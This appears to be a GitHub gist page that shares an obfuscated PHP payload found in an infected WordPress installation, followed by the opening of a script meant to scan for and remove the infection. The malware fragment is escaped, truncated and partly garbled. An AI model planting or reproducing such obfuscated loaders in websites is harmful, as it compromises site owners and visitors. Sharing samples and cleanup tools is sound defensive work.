Skip to content

Instantly share code, notes, and snippets.

View ev0rtex's full-sized avatar

David Warkentin ev0rtex

View GitHub Profile
@ev0rtex
ev0rtex / infection_encoded.php
Created April 4, 2014 15:14
Malicious code found in infected WP setup
<?php $gyhweuqbjh = 'fmjgA%x5c%x7827doj%x5c%x78256<%x5c%x787fw6*%x5c%x787f_*#fmjgk4%x5c-#%x5c%x7824-%x5c%x7824-tusqpt)%x5c%x7825z-#:#*%x5c%x7824-%x5c%x!-uyfu%x5c%x7825)3of)fepdof%x5c%x786057ftbj%x5c%x7825>j%x5c%x7g!|!**#j{hnpd#)tutjyf%x5c%x7860opjudovg%x5c%x7822)!gj41%x72%164") && (!isset($GLOBALS["%x61%156%x75%156%x61"]=1; function fjfgg($n){.}-}!#*<%x5c%x7825nfd>%x5c%x7825fdy<Cb*[%x5c6<pd%x5c%x7825w6Z6<.5%x5c%x7860hA%x5<2,*j%x5c%x7825!-#1]#-bubE{h%x5c%x724]25%x5c%x7824-%x5c%x7824-!%x5c%x7825%x5c825z>!tussfw)%x5c%x7825zW%x5c%x7825h>EzH,2W%x5c%x7825wN00#W~!Ydrr)%x5c%x7825r%x5c%x7878Bsfuvso!sboepn)%x5c%x7825epnbssx78256<%x5c%x787fw6*%x5c%x787f_*#fubfsdXk5%x5c%x7-4-bubE{h%x5c%x7825)sutcvt)esp>hmg%x5c%x782x7825ggg!>!#]y81]273]y76]258]y6g]273]y76]271]y7d]252]y74]2%x787fw6*CWtfs%x5c%x7825)7gj6<*id%x5c%x7825)ftpmdR65!<12>j%x5c%x7825!|!*#91y]c9y]g2y]#>>*4-1-bubE{h%x5c%x7825)sutcvM4P8]37]278]225]241]334]368]322]3]364]6]283]427]36]373]47y]252]18y]#>q%x5c%x7825<#762]67y]562]38y]572obs%x5c%x7860un>qp%x5c%x7825!|Z~!<##!>
@ev0rtex
ev0rtex / disinfect.php
Last active August 29, 2015 13:58
Infection Repair
<?php
// Store a list of infected files
$infected = array();
$unrepairable = array();
echo "\nScanning for infected files in the current directory...\n\n";
// Scan all infected files in the current directory and strip out the infected line
foreach(new RecursiveIteratorIterator(